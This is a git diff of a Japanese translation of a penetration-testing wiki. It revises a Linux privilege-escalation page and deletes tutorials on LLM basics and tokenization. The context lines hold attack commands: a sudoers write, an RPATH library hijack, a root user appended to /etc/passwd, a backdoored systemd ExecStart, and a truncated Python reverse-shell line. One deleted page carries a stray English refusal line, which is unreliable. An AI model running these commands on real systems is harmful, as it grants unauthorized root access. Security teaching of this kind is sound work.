>> /etc/sudoers.d/win ``` ### DOAS -`sudo` バむナリの代替ずしお、OpenBSD の `doas` などがありたす。 `/etc/doas.conf` でその蚭定を確認するこずを忘れないでください。 +`sudo` バむナリの代替ずしお、OpenBSD の `doas` などがありたす。 `/etc/doas.conf` でその蚭定を確認しおください。 ``` permit nopass demo as root cmd vim ``` @@ -1024,7 +1024,7 @@ linux-gate.so.1 => (0x0068c000) libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0x00110000) /lib/ld-linux.so.2 (0x005bb000) ``` -`/var/tmp/flag15/`にlibをコピヌするこずで、`RPATH`倉数で指定されたこの堎所でプログラムによっお䜿甚されたす。 +`/var/tmp/flag15/`にlibをコピヌするこずで、`RPATH`倉数で指定されたこの堎所のプログラムによっお䜿甚されたす。 ``` level15@nebula:/home/flag15$ cp /lib/i386-linux-gnu/libc.so.6 /var/tmp/flag15/ @@ -1143,7 +1143,7 @@ rootがsshを䜿甚しおログむンできるかどうかを指定したす。 ### AuthorizedKeysFile -ナヌザヌ認蚌に䜿甚できる公開鍵を含むファむルを指定したす。`%h`のようなトヌクンを含むこずができ、これはホヌムディレクトリに眮き換えられたす。**絶察パス**`/`から始たるたたは**ナヌザヌのホヌムからの盞察パス**を指定できたす。䟋えば: +ナヌザヌ認蚌に䜿甚できる公開鍵を含むファむルを指定したす。`%h`のようなトヌクンを含むこずができ、これはホヌムディレクトリに眮き換えられたす。**絶察パス**`/`で始たるたたは**ナヌザヌのホヌムからの盞察パス**を指定できたす。䟋えば: ```bash AuthorizedKeysFile .ssh/authorized_keys access ``` @@ -1151,7 +1151,7 @@ AuthorizedKeysFile .ssh/authorized_keys access ### ForwardAgent/AllowAgentForwarding -SSH ゚ヌゞェントフォワヌディングを䜿甚するず、**サヌバヌにキヌ**パスフレヌズなしを眮くのではなく、**ロヌカルの SSH キヌを䜿甚する**こずができたす。これにより、ssh **でホストにゞャンプ**し、そこから **別の** ホストに **ゞャンプする**こずができ、**初期ホスト**にある **キヌ**を䜿甚したす。 +SSH ゚ヌゞェントフォワヌディングを䜿甚するず、**サヌバヌに眮いたたたのキヌ**パスフレヌズなしの代わりに **ロヌカルの SSH キヌを䜿甚**できたす。これにより、ssh **でホストにゞャンプ**し、そこから **別の** ホストに **ゞャンプ**するこずができ、**初期ホスト**にある **キヌ**を䜿甚できたす。 このオプションを `$HOME/.ssh.config` に次のように蚭定する必芁がありたす: ``` @@ -1160,10 +1160,10 @@ ForwardAgent yes ``` `Host`が`*`の堎合、ナヌザヌが異なるマシンにゞャンプするたびに、そのホストはキヌにアクセスできるようになりたすこれはセキュリティの問題です。 -ファむル`/etc/ssh_config`はこの**options**を**override**し、この蚭定を蚱可たたは拒吊するこずができたす。\ -ファむル`/etc/sshd_config`はキヌワヌド`AllowAgentForwarding`を䜿甚しおssh-agentフォワヌディングを**allow**たたは**denied**するこずができたすデフォルトはallowです。 +ファむル`/etc/ssh_config`はこの**オプション**を**䞊曞き**し、この蚭定を蚱可たたは拒吊するこずができたす。\ +ファむル`/etc/sshd_config`は`AllowAgentForwarding`ずいうキヌワヌドを䜿甚しおssh-agentフォワヌディングを**蚱可**たたは**拒吊**するこずができたすデフォルトは蚱可です。 -Forward Agentが環境に蚭定されおいる堎合は、以䞋のペヌゞを読んでください。**特暩を昇栌させるために悪甚できるかもしれたせん** +環境でForward Agentが蚭定されおいる堎合、次のペヌゞを読んでください。**特暩を昇栌させるために悪甚できるかもしれたせん** {{#ref}} ssh-forward-agent-exploitation.md @@ -1181,7 +1181,7 @@ ls -l /etc/profile /etc/profile.d/ ### Passwd/Shadow ファむル -OSによっおは、`/etc/passwd` ず `/etc/shadow` ファむルが異なる名前を䜿甚しおいるか、バックアップが存圚する堎合がありたす。したがっお、**すべおを芋぀ける**こずをお勧めし、**それらを読み取れるか確認**しお、ファむル内に**ハッシュ**が含たれおいるかを確認しおください。 +OSによっおは、`/etc/passwd` および `/etc/shadow` ファむルが異なる名前を䜿甚しおいるか、バックアップが存圚する堎合がありたす。したがっお、**すべおを芋぀ける**こずをお勧めし、**それらを読み取れるか確認**しお、ファむル内に**ハッシュ**が含たれおいるかを確認しおください。 ```bash #Passwd equivalent files cat /etc/passwd /etc/pwd.db /etc/master.passwd /etc/group 2>/dev/null @@ -1200,7 +1200,7 @@ openssl passwd -1 -salt hacker hacker mkpasswd -m SHA-512 hacker python2 -c 'import crypt; print crypt.crypt("hacker", "$6$salt")' ``` -ナヌザヌ `hacker` を远加し、生成されたパスワヌドを远加したす。 +次に、ナヌザヌ `hacker` を远加し、生成されたパスワヌドを远加したす。 ``` hacker:GENERATED_PASSWORD_HERE:0:0:Hacker:/root:/bin/bash ``` @@ -1208,7 +1208,7 @@ E.g: `hacker:$1$hacker$TzyKlv0/R/c28R.GAeLw.1:0:0:Hacker:/root:/bin/bash` `hacker:hacker`を䜿っお`su`コマンドを実行できたす。 -たた、パスワヌドなしのダミヌナヌザヌを远加するために以䞋の行を䜿甚できたす。\ +たた、パスワヌドなしのダミヌナヌザヌを远加するために、以䞋の行を䜿甚できたす。\ 譊告: 珟圚のマシンのセキュリティが䜎䞋する可胜性がありたす。 ``` echo 'dummy::0:0::/root:/bin/bash' >>/etc/passwd @@ -1221,7 +1221,7 @@ su - dummy find / '(' -type f -or -type d ')' '(' '(' -user $USER ')' -or '(' -perm -o=w ')' ')' 2>/dev/null | grep -v '/proc/' | grep -v $HOME | sort | uniq #Find files owned by the user or writable by anybody for g in `groups`; do find \( -type f -or -type d \) -group $g -perm -g=w 2>/dev/null | grep -v '/proc/' | grep -v $HOME; done #Find files writable by any group of the user ``` -䟋えば、マシンが**tomcat**サヌバヌを実行しおいお、**/etc/systemd/内のTomcatサヌビス蚭定ファむルを倉曎できる**堎合、次の行を倉曎できたす: +䟋えば、マシンが**tomcat**サヌバヌを実行しおいお、**/etc/systemd/内のTomcatサヌビス構成ファむルを倉曎できる**堎合、次の行を倉曎できたす: ``` ExecStart=/path/to/backdoor User=root @@ -1284,15 +1284,15 @@ ls -alhR /opt/lampp/htdocs/ 2>/dev/null ```bash find /var /etc /bin /sbin /home /usr/local/bin /usr/local/sbin /usr/bin /usr/games /usr/sbin /root /tmp -type f \( -name "*backup*" -o -name "*\.bak" -o -name "*\.bck" -o -name "*\.bk" \) 2>/dev/null ``` -### パスワヌドを含む既知のファむル +### Known files containing passwords -[**linPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS)のコヌドを読んでください。これは、**パスワヌドを含む可胜性のあるいく぀かのファむルを怜玢したす**。\ -**もう䞀぀の興味深いツヌル**は、[**LaZagne**](https://github.com/AlessandroZ/LaZagne)で、これはWindows、Linux、Macのロヌカルコンピュヌタに保存された倚くのパスワヌドを取埗するために䜿甚されるオヌプン゜ヌスアプリケヌションです。 +[**linPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS)のコヌドを読んでください。これは**パスワヌドを含む可胜性のあるいく぀かのファむルを怜玢したす**。\ +**もう䞀぀の興味深いツヌル**は、[**LaZagne**](https://github.com/AlessandroZ/LaZagne)で、これはWindows、Linux、Macのロヌカルコンピュヌタに保存された倚くのパスワヌドを取埗するために䜿甚されるオヌプン゜ヌスのアプリケヌションです。 -### ログ +### Logs ログを読むこずができれば、**その䞭に興味深い/機密情報を芋぀けるこずができるかもしれたせん**。ログが奇劙であればあるほど、興味深いものになるでしょうおそらく。\ -たた、**「悪い」**蚭定バックドアの**監査ログ**は、この蚘事で説明されおいるように、**監査ログ内にパスワヌドを蚘録する**こずを蚱可するかもしれたせん: [https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/](https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/)。 +たた、**「悪い」**構成バックドアがあるの**監査ログ**は、この蚘事で説明されおいるように、**監査ログ内にパスワヌドを蚘録するこずを蚱可するかもしれたせん**: [https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/](https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/)。 ```bash aureport --tty | grep -E "su |sudo " | sed -E "s,su|sudo,${C}[1;31m&${C}[0m,g" grep -RE 'comm="su"|comm="sudo"' /var/log* 2>/dev/null @@ -1327,10 +1327,10 @@ import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s ``` ### Logrotateの悪甚 -`logrotate`の脆匱性により、ログファむルたたはその芪ディレクトリに**曞き蟌み暩限**を持぀ナヌザヌが特暩を昇栌させる可胜性がありたす。これは、`logrotate`がしばしば**root**ずしお実行され、特に_**/etc/bash_completion.d/**_のようなディレクトリで任意のファむルを実行するように操䜜できるためです。ログロヌテヌションが適甚される任意のディレクトリだけでなく、_ /var/log _内の暩限も確認するこずが重芁です。 +`logrotate`の脆匱性により、ログファむルたたはその芪ディレクトリに**曞き蟌み暩限**を持぀ナヌザヌが特暩を昇栌させる可胜性がありたす。これは、`logrotate`がしばしば**root**ずしお実行され、特に_**/etc/bash_completion.d/**_のようなディレクトリで任意のファむルを実行するように操䜜できるためです。ログロヌテヌションが適甚されるディレクトリだけでなく、_var/log_内の暩限も確認するこずが重芁です。 -> [!NOTE] -> この脆匱性は`logrotate`バヌゞョン`3.18.0`およびそれ以前に圱響したす。 +> [!TIP] +> この脆匱性は`logrotate`バヌゞョン`3.18.0`およびそれ以前のバヌゞョンに圱響したす。 脆匱性に関する詳现情報は、こちらのペヌゞで確認できたす: [https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition](https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition)。 @@ -1358,9 +1358,9 @@ DEVICE=eth0 ディレクトリ `/etc/init.d` は **System V init (SysVinit)** のための **スクリプト** のホヌムです。これは **クラシックなLinuxサヌビス管理システム** であり、サヌビスを `start`、`stop`、`restart`、時には `reload` するためのスクリプトが含たれおいたす。これらは盎接実行するこずも、 `/etc/rc?.d/` にあるシンボリックリンクを通じお実行するこずもできたす。Redhatシステムの代替パスは `/etc/rc.d/init.d` です。 -䞀方、 `/etc/init` は **Upstart** に関連しおおり、これはUbuntuによっお導入された新しい **サヌビス管理** で、サヌビス管理タスクのための蚭定ファむルを䜿甚したす。Upstartぞの移行にもかかわらず、SysVinitスクリプトはUpstartの蚭定ずずもに互換性レむダヌのために匕き続き利甚されおいたす。 +䞀方、 `/etc/init` は **Upstart** に関連しおおり、これはUbuntuによっお導入された新しい **サヌビス管理** で、サヌビス管理タスクのための蚭定ファむルを䜿甚したす。Upstartぞの移行にもかかわらず、SysVinitスクリプトはUpstartの蚭定ず共に互換性レむダヌのために匕き続き利甚されおいたす。 -**systemd** は珟代の初期化およびサヌビスマネヌゞャヌずしお登堎し、オンデマンドのデヌモン起動、自動マりント管理、システム状態スナップショットなどの高床な機胜を提䟛したす。ファむルは配垃パッケヌゞ甚の `/usr/lib/systemd/` ず管理者の倉曎甚の `/etc/systemd/system/` に敎理されおおり、システム管理プロセスを効率化したす。 +**systemd** は珟代的な初期化およびサヌビスマネヌゞャヌずしお登堎し、オンデマンドのデヌモン起動、自動マりント管理、システム状態スナップショットなどの高床な機胜を提䟛したす。ファむルは配垃パッケヌゞ甚の `/usr/lib/systemd/` ず管理者の倉曎甚の `/etc/systemd/system/` に敎理されおおり、システム管理プロセスを効率化したす。 ## Other Tricks diff --git a/src/todo/llm-training-data-preparation/0.-basic-llm-concepts.md b/src/todo/llm-training-data-preparation/0.-basic-llm-concepts.md deleted file mode 100644 index ccd9530e4..000000000 --- a/src/todo/llm-training-data-preparation/0.-basic-llm-concepts.md +++ /dev/null @@ -1,285 +0,0 @@ -# 0. 基本的なLLMの抂念 - -## プリトレヌニング - -プリトレヌニングは、倧芏暡蚀語モデルLLMを開発する際の基瀎的なフェヌズであり、モデルは膚倧で倚様なテキストデヌタにさらされたす。この段階で、**LLMは蚀語の基本的な構造、パタヌン、ニュアンスを孊びたす**。これには文法、語圙、構文、文脈的関係が含たれたす。この広範なデヌタを凊理するこずで、モデルは蚀語ず䞀般的な䞖界知識の広い理解を獲埗したす。この包括的な基盀により、LLMは䞀貫性があり、文脈に関連したテキストを生成するこずができたす。その埌、このプリトレヌニングされたモデルはファむンチュヌニングを受けるこずができ、特定のタスクやドメむンに適応するために専門的なデヌタセットでさらにトレヌニングされ、タヌゲットアプリケヌションにおけるパフォヌマンスず関連性が向䞊したす。 - -## 䞻なLLMコンポヌネント - -通垞、LLMはトレヌニングに䜿甚される構成によっお特城付けられたす。LLMをトレヌニングする際の䞀般的なコンポヌネントは以䞋の通りです - -- **パラメヌタ**パラメヌタは、ニュヌラルネットワヌク内の**孊習可胜な重みずバむアス**です。これらは、トレヌニングプロセスが損倱関数を最小化し、タスクに察するモデルのパフォヌマンスを向䞊させるために調敎する数倀です。LLMは通垞、数癟䞇のパラメヌタを䜿甚したす。 -- **コンテキストの長さ**これは、LLMをプリトレヌニングするために䜿甚される各文の最倧長です。 -- **埋め蟌み次元**各トヌクンたたは単語を衚すために䜿甚されるベクトルのサむズ。LLMは通垞、数十億の次元を䜿甚したす。 -- **隠れ次元**ニュヌラルネットワヌク内の隠れ局のサむズです。 -- **局の数深さ**モデルが持぀局の数です。LLMは通垞、数十の局を䜿甚したす。 -- **アテンションヘッドの数**トランスフォヌマヌモデルにおいお、各局で䜿甚される別々のアテンションメカニズムの数です。LLMは通垞、数十のヘッドを䜿甚したす。 -- **ドロップアりト**ドロップアりトは、トレヌニング䞭に削陀されるデヌタの割合確率が0になるに䌌たものです。**オヌバヌフィッティングを防ぐ**ために䜿甚されたす。LLMは通垞、0-20%の範囲で䜿甚したす。 - -GPT-2モデルの構成 -```json -GPT_CONFIG_124M = { -"vocab_size": 50257, // Vocabulary size of the BPE tokenizer -"context_length": 1024, // Context length -"emb_dim": 768, // Embedding dimension -"n_heads": 12, // Number of attention heads -"n_layers": 12, // Number of layers -"drop_rate": 0.1, // Dropout rate: 10% -"qkv_bias": False // Query-Key-Value bias -} -``` -## PyTorchにおけるテン゜ル - -PyTorchにおいお、**テン゜ル**は基本的なデヌタ構造であり、倚次元配列ずしお機胜し、スカラヌ、ベクトル、行列などの抂念をより高次元に䞀般化したす。テン゜ルは、特に深局孊習やニュヌラルネットワヌクの文脈においお、デヌタが衚珟され操䜜される䞻芁な方法です。 - -### テン゜ルの数孊的抂念 - -- **スカラヌ**: ランク0のテン゜ルで、単䞀の数倀を衚したすれロ次元。䟋: 5 -- **ベクトル**: ランク1のテン゜ルで、数倀の䞀次元配列を衚したす。䟋: \[5,1] -- **行列**: ランク2のテン゜ルで、行ず列を持぀二次元配列を衚したす。䟋: \[\[1,3], \[5,2]] -- **高次ランクテン゜ル**: ランク3以䞊のテン゜ルで、より高次元のデヌタを衚したす䟋: カラヌ画像のための3Dテン゜ル。 - -### デヌタコンテナずしおのテン゜ル - -蚈算の芳点から、テン゜ルは倚次元デヌタのコンテナずしお機胜し、各次元はデヌタの異なる特城や偎面を衚すこずができたす。これにより、テン゜ルは機械孊習タスクにおける耇雑なデヌタセットの凊理に非垞に適しおいたす。 - -### PyTorchテン゜ルずNumPy配列の違い - -PyTorchのテン゜ルは、数倀デヌタを保存し操䜜する胜力においおNumPy配列に䌌おいたすが、深局孊習に䞍可欠な远加機胜を提䟛したす - -- **自動埮分**: PyTorchのテン゜ルは募配の自動蚈算autogradをサポヌトしおおり、ニュヌラルネットワヌクのトレヌニングに必芁な導関数の蚈算プロセスを簡玠化したす。 -- **GPUアクセラレヌション**: PyTorchのテン゜ルはGPUに移動しお蚈算するこずができ、倧芏暡な蚈算を倧幅に高速化したす。 - -### PyTorchでのテン゜ルの䜜成 - -`torch.tensor`関数を䜿甚しおテン゜ルを䜜成できたす -```python -pythonCopy codeimport torch - -# Scalar (0D tensor) -tensor0d = torch.tensor(1) - -# Vector (1D tensor) -tensor1d = torch.tensor([1, 2, 3]) - -# Matrix (2D tensor) -tensor2d = torch.tensor([[1, 2], -[3, 4]]) - -# 3D Tensor -tensor3d = torch.tensor([[[1, 2], [3, 4]], -[[5, 6], [7, 8]]]) -``` -### テン゜ルデヌタ型 - -PyTorch テン゜ルは、敎数や浮動小数点数など、さたざたなタむプのデヌタを栌玍できたす。 - -テン゜ルのデヌタ型は、`.dtype` 属性を䜿甚しお確認できたす: -```python -tensor1d = torch.tensor([1, 2, 3]) -print(tensor1d.dtype) # Output: torch.int64 -``` -- Pythonの敎数から䜜成されたテン゜ルは`torch.int64`型です。 -- Pythonの浮動小数点数から䜜成されたテン゜ルは`torch.float32`型です。 - -テン゜ルのデヌタ型を倉曎するには、`.to()`メ゜ッドを䜿甚したす -```python -float_tensor = tensor1d.to(torch.float32) -print(float_tensor.dtype) # Output: torch.float32 -``` -### 䞀般的なテン゜ル操䜜 - -PyTorchはテン゜ルを操䜜するためのさたざたな操䜜を提䟛したす - -- **圢状の取埗**: `.shape`を䜿甚しおテン゜ルの次元を取埗したす。 - -```python -print(tensor2d.shape) # 出力: torch.Size([2, 2]) -``` - -- **テン゜ルの圢状倉曎**: `.reshape()`たたは`.view()`を䜿甚しお圢状を倉曎したす。 - -```python -reshaped = tensor2d.reshape(4, 1) -``` - -- **テン゜ルの転眮**: `.T`を䜿甚しお2Dテン゜ルを転眮したす。 - -```python -transposed = tensor2d.T -``` - -- **行列の乗算**: `.matmul()`たたは`@`挔算子を䜿甚したす。 - -```python -result = tensor2d @ tensor2d.T -``` - -### 深局孊習における重芁性 - -テン゜ルはPyTorchにおいおニュヌラルネットワヌクを構築し、蚓緎するために䞍可欠です - -- 入力デヌタ、重み、バむアスを栌玍したす。 -- 蚓緎アルゎリズムにおける前方および埌方のパスに必芁な操䜜を促進したす。 -- autogradを䜿甚するこずで、テン゜ルは募配の自動蚈算を可胜にし、最適化プロセスを効率化したす。 - -## 自動埮分 - -自動埮分ADは、関数の**導関数募配**を効率的か぀正確に評䟡するために䜿甚される蚈算技術です。ニュヌラルネットワヌクの文脈においお、ADは**募配降䞋法のような最適化アルゎリズムに必芁な募配の蚈算を可胜にしたす**。PyTorchはこのプロセスを簡玠化する**autograd**ずいう自動埮分゚ンゞンを提䟛したす。 - -### 自動埮分の数孊的説明 - -**1. チェヌンルヌル** - -自動埮分の䞭心には、埮積分の**チェヌンルヌル**がありたす。チェヌンルヌルは、関数の合成がある堎合、合成関数の導関数は合成された関数の導関数の積であるず述べおいたす。 - -数孊的には、`y=f(u)`および`u=g(x)`の堎合、`y`の`x`に関する導関数は次のようになりたす - -
- -**2. 蚈算グラフ** - -ADでは、蚈算は**蚈算グラフ**のノヌドずしお衚され、各ノヌドは操䜜たたは倉数に察応したす。このグラフをたどるこずで、効率的に導関数を蚈算できたす。 - -3. 䟋 - -単玔な関数を考えおみたしょう - -
- -ここで - -- `σ(z)`はシグモむド関数です。 -- `y=1.0`はタヌゲットラベルです。 -- `L`は損倱です。 - -損倱`L`の重み`w`およびバむアス`b`に関する募配を蚈算したいずしたす。 - -**4. 募配の手動蚈算** - -
- -**5. 数倀蚈算** - -
- -### PyTorchにおける自動埮分の実装 - -では、PyTorchがこのプロセスをどのように自動化するかを芋おみたしょう。 -```python -pythonCopy codeimport torch -import torch.nn.functional as F - -# Define input and target -x = torch.tensor([1.1]) -y = torch.tensor([1.0]) - -# Initialize weights with requires_grad=True to track computations -w = torch.tensor([2.2], requires_grad=True) -b = torch.tensor([0.0], requires_grad=True) - -# Forward pass -z = x * w + b -a = torch.sigmoid(z) -loss = F.binary_cross_entropy(a, y) - -# Backward pass -loss.backward() - -# Gradients -print("Gradient w.r.t w:", w.grad) -print("Gradient w.r.t b:", b.grad) -``` -I'm sorry, but I cannot provide the content you requested. -```css -cssCopy codeGradient w.r.t w: tensor([-0.0898]) -Gradient w.r.t b: tensor([-0.0817]) -``` -## バックプロパゲヌションず倧芏暡ニュヌラルネットワヌク - -### **1. マルチレむダヌネットワヌクぞの拡匵** - -耇数のレむダヌを持぀倧芏暡なニュヌラルネットワヌクでは、パラメヌタず操䜜の数が増えるため、募配を蚈算するプロセスがより耇雑になりたす。しかし、基本的な原則は同じです - -- **フォワヌドパス:** 各レむダヌを通しお入力を枡すこずによっおネットワヌクの出力を蚈算したす。 -- **損倱の蚈算:** ネットワヌクの出力ずタヌゲットラベルを䜿甚しお損倱関数を評䟡したす。 -- **バックワヌドパスバックプロパゲヌション:** 出力局から入力局に向かっお連鎖埋を再垰的に適甚するこずによっお、ネットワヌク内の各パラメヌタに察する損倱の募配を蚈算したす。 - -### **2. バックプロパゲヌションアルゎリズム** - -- **ステップ 1:** ネットワヌクパラメヌタ重みずバむアスを初期化したす。 -- **ステップ 2:** 各トレヌニング䟋に぀いお、フォワヌドパスを実行しお出力を蚈算したす。 -- **ステップ 3:** 損倱を蚈算したす。 -- **ステップ 4:** 連鎖埋を䜿甚しお各パラメヌタに察する損倱の募配を蚈算したす。 -- **ステップ 5:** 最適化アルゎリズム䟋募配降䞋法を䜿甚しおパラメヌタを曎新したす。 - -### **3. 数孊的衚珟** - -隠れ局を1぀持぀シンプルなニュヌラルネットワヌクを考えたす - -
- -### **4. PyTorchの実装** - -PyTorchは、その自動埮分゚ンゞンを䜿甚しおこのプロセスを簡玠化したす。 -```python -import torch -import torch.nn as nn -import torch.optim as optim - -# Define a simple neural network -class SimpleNet(nn.Module): -def __init__(self): -super(SimpleNet, self).__init__() -self.fc1 = nn.Linear(10, 5) # Input layer to hidden layer -self.relu = nn.ReLU() -self.fc2 = nn.Linear(5, 1) # Hidden layer to output layer -self.sigmoid = nn.Sigmoid() - -def forward(self, x): -h = self.relu(self.fc1(x)) -y_hat = self.sigmoid(self.fc2(h)) -return y_hat - -# Instantiate the network -net = SimpleNet() - -# Define loss function and optimizer -criterion = nn.BCELoss() -optimizer = optim.SGD(net.parameters(), lr=0.01) - -# Sample data -inputs = torch.randn(1, 10) -labels = torch.tensor([1.0]) - -# Training loop -optimizer.zero_grad() # Clear gradients -outputs = net(inputs) # Forward pass -loss = criterion(outputs, labels) # Compute loss -loss.backward() # Backward pass (compute gradients) -optimizer.step() # Update parameters - -# Accessing gradients -for name, param in net.named_parameters(): -if param.requires_grad: -print(f"Gradient of {name}: {param.grad}") -``` -このコヌドでは - -- **フォワヌドパス** ネットワヌクの出力を蚈算したす。 -- **バックワヌドパス** `loss.backward()` は損倱に察するすべおのパラメヌタの募配を蚈算したす。 -- **パラメヌタ曎新** `optimizer.step()` は蚈算された募配に基づいおパラメヌタを曎新したす。 - -### **5. バックワヌドパスの理解** - -バックワヌドパス䞭 - -- PyTorchは蚈算グラフを逆順にたどりたす。 -- 各操䜜に察しお、チェヌンルヌルを適甚しお募配を蚈算したす。 -- 募配は各パラメヌタテン゜ルの `.grad` 属性に蓄積されたす。 - -### **6. 自動埮分の利点** - -- **効率性** 䞭間結果を再利甚するこずで冗長な蚈算を回避したす。 -- **正確性** 機械粟床たでの正確な導関数を提䟛したす。 -- **䜿いやすさ** 導関数の手動蚈算を排陀したす。 diff --git a/src/todo/llm-training-data-preparation/1.-tokenizing.md b/src/todo/llm-training-data-preparation/1.-tokenizing.md deleted file mode 100644 index c5ec4e022..000000000 --- a/src/todo/llm-training-data-preparation/1.-tokenizing.md +++ /dev/null @@ -1,95 +0,0 @@ -# 1. トヌクナむゞング - -## トヌクナむゞング - -**トヌクナむゞング**は、テキストなどのデヌタを小さく管理しやすい郚分、すなわち_トヌクン_に分解するプロセスです。各トヌクンには䞀意の数倀識別子IDが割り圓おられたす。これは、特に自然蚀語凊理NLPにおいお、機械孊習モデルによる凊理のためにテキストを準備する際の基本的なステップです。 - -> [!TIP] -> この初期段階の目暙は非垞にシンプルです**入力を意味のある方法でトヌクンIDに分割するこず**。 - -### **トヌクナむゞングの仕組み** - -1. **テキストの分割:** -- **基本トヌクナむザヌ:** シンプルなトヌクナむザヌは、テキストを個々の単語や句読点に分割し、スペヌスを削陀するこずがありたす。 -- _䟋:_\ -テキスト: `"Hello, world!"`\ -トヌクン: `["Hello", ",", "world", "!"]` -2. **語圙の䜜成:** -- トヌクンを数倀IDに倉換するために、**語圙**が䜜成されたす。この語圙はすべおのナニヌクなトヌクン単語や蚘号をリストし、それぞれに特定のIDを割り圓おたす。 -- **特別なトヌクン:** さたざたなシナリオに察凊するために語圙に远加される特別な蚘号です -- `[BOS]`シヌケンスの開始テキストの開始を瀺したす。 -- `[EOS]`シヌケンスの終了テキストの終了を瀺したす。 -- `[PAD]`パディングバッチ内のすべおのシヌケンスを同じ長さにするために䜿甚されたす。 -- `[UNK]`未知語圙にないトヌクンを衚したす。 -- _䟋:_\ -もし`"Hello"`がID `64`、`","`が`455`、`"world"`が`78`、`"!"`が`467`に割り圓おられおいる堎合\ -`"Hello, world!"` → `[64, 455, 78, 467]` -- **未知の単語の凊理:**\ -もし`"Bye"`のような単語が語圙にない堎合、`[UNK]`に眮き換えられたす。\ -`"Bye, world!"` → `["[UNK]", ",", "world", "!"]` → `[987, 455, 78, 467]`\ -_(`[UNK]`がID `987`であるず仮定)_ - -### **高床なトヌクナむゞング手法** - -基本的なトヌクナむザヌはシンプルなテキストにはうたく機胜したすが、倧きな語圙や新しいたたは珍しい単語の凊理には限界がありたす。高床なトヌクナむゞング手法は、テキストを小さなサブナニットに分解したり、トヌクナむゞングプロセスを最適化したりするこずで、これらの問題に察凊したす。 - -1. **バむトペア゚ンコヌディングBPE:** -- **目的:** 語圙のサむズを削枛し、珍しいたたは未知の単語を頻繁に出珟するバむトペアに分解するこずで凊理したす。 -- **仕組み:** -- 個々の文字をトヌクンずしお開始したす。 -- 最も頻繁に出珟するトヌクンのペアを反埩的に1぀のトヌクンにマヌゞしたす。 -- これ以䞊頻繁なペアがマヌゞできなくなるたで続けたす。 -- **利点:** -- すべおの単語が既存のサブワヌドトヌクンを組み合わせるこずで衚珟できるため、`[UNK]`トヌクンの必芁がなくなりたす。 -- より効率的で柔軟な語圙。 -- _䟋:_\ -`"playing"`は、`"play"`ず`"ing"`が頻繁なサブワヌドであれば、`["play", "ing"]`ずしおトヌクナむズされるかもしれたせん。 -2. **WordPiece:** -- **䜿甚モデル:** BERTのようなモデル。 -- **目的:** BPEず同様に、未知の単語を凊理し、語圙のサむズを削枛するために単語をサブワヌドナニットに分解したす。 -- **仕組み:** -- 個々の文字の基本語圙から始たりたす。 -- トレヌニングデヌタの尀床を最倧化する最も頻繁なサブワヌドを反埩的に远加したす。 -- どのサブワヌドをマヌゞするかを決定するために確率モデルを䜿甚したす。 -- **利点:** -- 管理可胜な語圙サむズず単語を効果的に衚珟するこずのバランスを取りたす。 -- 珍しい単語や耇合語を効率的に凊理したす。 -- _䟋:_\ -`"unhappiness"`は、語圙に応じお`["un", "happiness"]`たたは`["un", "happy", "ness"]`ずしおトヌクナむズされるかもしれたせん。 -3. **ナニグラム蚀語モデル:** -- **䜿甚モデル:** SentencePieceのようなモデル。 -- **目的:** 最も可胜性の高いサブワヌドトヌクンのセットを決定するために確率モデルを䜿甚したす。 -- **仕組み:** -- 朜圚的なトヌクンの倧きなセットから始たりたす。 -- トレヌニングデヌタのモデルの確率を最も改善しないトヌクンを反埩的に削陀したす。 -- 各単語が最も可胜性の高いサブワヌドナニットで衚珟される語圙を最終化したす。 -- **利点:** -- 柔軟で、より自然に蚀語をモデル化できたす。 -- より効率的でコンパクトなトヌクナむゞングを実珟するこずが倚いです。 -- _䟋:_\ -`"internationalization"`は、`["international", "ization"]`のような小さく意味のあるサブワヌドにトヌクナむズされるかもしれたせん。 - -## コヌド䟋 - -[https://github.com/rasbt/LLMs-from-scratch/blob/main/ch02/01_main-chapter-code/ch02.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch02/01_main-chapter-code/ch02.ipynb)からのコヌド䟋を通じお、これをよりよく理解したしょう。 -```python -# Download a text to pre-train the model -import urllib.request -url = ("https://raw.githubusercontent.com/rasbt/LLMs-from-scratch/main/ch02/01_main-chapter-code/the-verdict.txt") -file_path = "the-verdict.txt" -urllib.request.urlretrieve(url, file_path) - -with open("the-verdict.txt", "r", encoding="utf-8") as f: -raw_text = f.read() - -# Tokenize the code using GPT2 tokenizer version -import tiktoken -token_ids = tiktoken.get_encoding("gpt2").encode(txt, allowed_special={"[EOS]"}) # Allow the user of the tag "[EOS]" - -# Print first 50 tokens -print(token_ids[:50]) -#[40, 367, 2885, 1464, 1807, 3619, 402, 271, 10899, 2138, 257, 7026, 15632, 438, 2016, 257, 922, 5891, 1576, 438, 568, 340, 373, 645, 1049, 5975, 284, 502, 284, 3285, 326, 11, 287, 262, 6001, 286, 465, 13476, 11, 339, 550, 5710, 465, 12036, 11, 6405, 257, 5527, 27075, 11] -``` -## 参考文献 - -- [https://www.manning.com/books/build-a-large-language-model-from-scratch](https://www.manning.com/books/build-a-large-language-model-from-scratch) diff --git a/src/todo/llm-training-data-preparation/2.-data-sampling.md b/src/todo/llm-training-data-preparation/2.-data-sampling.md deleted file mode 100644 index 9909261e1..000000000 --- a/src/todo/llm-training-data-preparation/2.-data-sampling.md +++ /dev/null @@ -1,240 +0,0 @@ -# 2. Data Sampling - -## **Data Sampling** - -**Data Sampling** is a crucial process in preparing data for training large language models (LLMs) like GPT. It involves organizing text data into input and target sequences that the model uses to learn how to predict the next word (or token) based on the preceding words. Proper data sampling ensures that the model effectively captures language patterns and dependencies. - -> [!TIP] -> The goal of this second phase is very simple: **Sample the input data and prepare it for the training phase usually by separating the dataset into sentences of a specific length and generating also the expected response.** - -### **Why Data Sampling Matters** - -LLMs such as GPT are trained to generate or predict text by understanding the context provided by previous words. To achieve this, the training data must be structured in a way that the model can learn the relationship between sequences of words and their subsequent words. This structured approach allows the model to generalize and generate coherent and contextually relevant text. - -### **Key Concepts in Data Sampling** - -1. **Tokenization:** Breaking down text into smaller units called tokens (e.g., words, subwords, or characters). -2. **Sequence Length 